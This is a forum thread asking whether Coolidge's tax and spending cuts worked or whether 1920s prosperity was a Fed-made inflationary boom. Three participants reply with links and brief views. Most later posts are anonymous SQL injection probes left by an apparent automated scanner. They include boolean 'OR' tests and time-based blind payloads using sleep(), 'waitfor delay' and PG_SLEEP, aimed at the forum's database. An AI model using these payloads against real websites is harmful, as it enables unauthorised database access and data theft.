Coolidge

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  • #16252
    johnwinters91
    Participant

    To what extent can we know if Coolidge’s economic policies and tax/spending cuts worked, given that, at least according to my understanding of Rothbard, the 20’s prosperity was simply an inflationary boom caused by the Fed in an attempt to help the Bank of England by equalizing the exchange rates?

    #16253
    hood.roman
    Participant

    I wondered the same thing for a long time. Check this out: https://papers.ssrn.com/sol3/papers.cfm?abstract_id=2624357

    Its about the pre-Coolidge situation but it does relate to the question of fiscal austerity vs inflationary fed after the depression of 1920-21.

    #16254
    woods
    Participant

    I’m not convinced that the entire 1920s was just a fake boom. The Newman paper above is helpful. Jeff Herbener also notes that people who claim inflationism got us out of the depression of 1920-21 are wrong: https://tomwoods.com/was-the-fed-expansionary-from-1921-1924/

    There is definitely some Fed inflation in the 1920s, but I don’t think it invalidates all the prosperity of the period.

    #52759
    Anonymous
    Inactive

    555

    #52828
    Anonymous
    Inactive

    -1 OR 2+968-968-1=0+0+0+1 —

    #52829
    Anonymous
    Inactive

    -1′ OR 3+379-379-1=0+0+0+1 —

    #52835
    Anonymous
    Inactive

    5550’XOR(555*if(now()=sysdate(),sleep(15),0))XOR’Z

    #52837
    Anonymous
    Inactive

    5550″XOR(555*if(now()=sysdate(),sleep(15),0))XOR”Z

    #52839
    Anonymous
    Inactive

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    #52841
    Anonymous
    Inactive

    555-1; waitfor delay ‘0:0:15’ —

    #52844
    Anonymous
    Inactive

    555-1); waitfor delay ‘0:0:15’ —

    #52846
    Anonymous
    Inactive

    555-1 waitfor delay ‘0:0:15’ —

    #52849
    Anonymous
    Inactive

    555Y6XHiGy8′; waitfor delay ‘0:0:15’ —

    #52851
    Anonymous
    Inactive

    555-1 OR 923=(SELECT 923 FROM PG_SLEEP(15))–

    #52853
    Anonymous
    Inactive

    555-1) OR 731=(SELECT 731 FROM PG_SLEEP(15))–

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